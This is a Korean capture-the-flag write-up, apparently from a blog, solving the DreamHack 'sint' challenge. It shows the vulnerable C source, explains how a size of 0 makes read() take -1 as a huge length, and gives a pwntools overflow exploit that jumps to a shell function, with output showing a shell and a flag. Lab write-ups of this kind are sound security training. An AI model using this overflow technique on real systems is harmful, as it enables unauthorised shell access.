#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell()
{
system("/bin/sh");
}
int main()
{
char buf[256];
int size;
initialize();
signal(SIGSEGV, get_shell);
printf("Size: ");
scanf("%d", &size);
if (size > 256 || size < 0)
{
printf("Buffer Overflow!\n");
exit(0);
}
printf("Data: ");
read(0, buf, size - 1);
return 0;
}
overflow 를 일으켜야 하는데 어떻게 일으킬지 고민해보자.
지금 사이즈에 0을 주면 read 함수 동작을 이상하게 만들 수 있을 거 같다.
read(0,buf,-1);
이 될 것이다. 그럼 오버플로우가 가능해진다. -1 은 변환될 때 엄청 큰 정수값이 되니까.
from pwn import *
p = remote("host1.dreamhack.games", 21834)
get_shell = 0x8048659
pay = "0"
p.recvuntil("Size: ")
p.sendline(pay)
pay = ""
pay +="A"*260
pay += p32(get_shell)
p.recvuntil("Data: ")
p.sendline(pay)
p.interactive()
vared@ubuntu:~/hacking/dreamhack$ python ex_sint.py
[+] Opening connection to host1.dreamhack.games on port 21834: Done
[*] Switching to interactive mode
$ ls
flag
sint
$ cat flag
DH{-----flag-----}
'WriteUp > DreamHack' 카테고리의 다른 글
DreamHack : ssp_001 (0) | 2020.11.19 |
---|---|
DreamHack : ssp_000 (0) | 2020.11.19 |
DreamHack : Out_of_bound (0) | 2020.11.19 |
DreamHack : off_by_one_001 (0) | 2020.11.19 |
DreamHack : off_by_one_000 (0) | 2020.11.19 |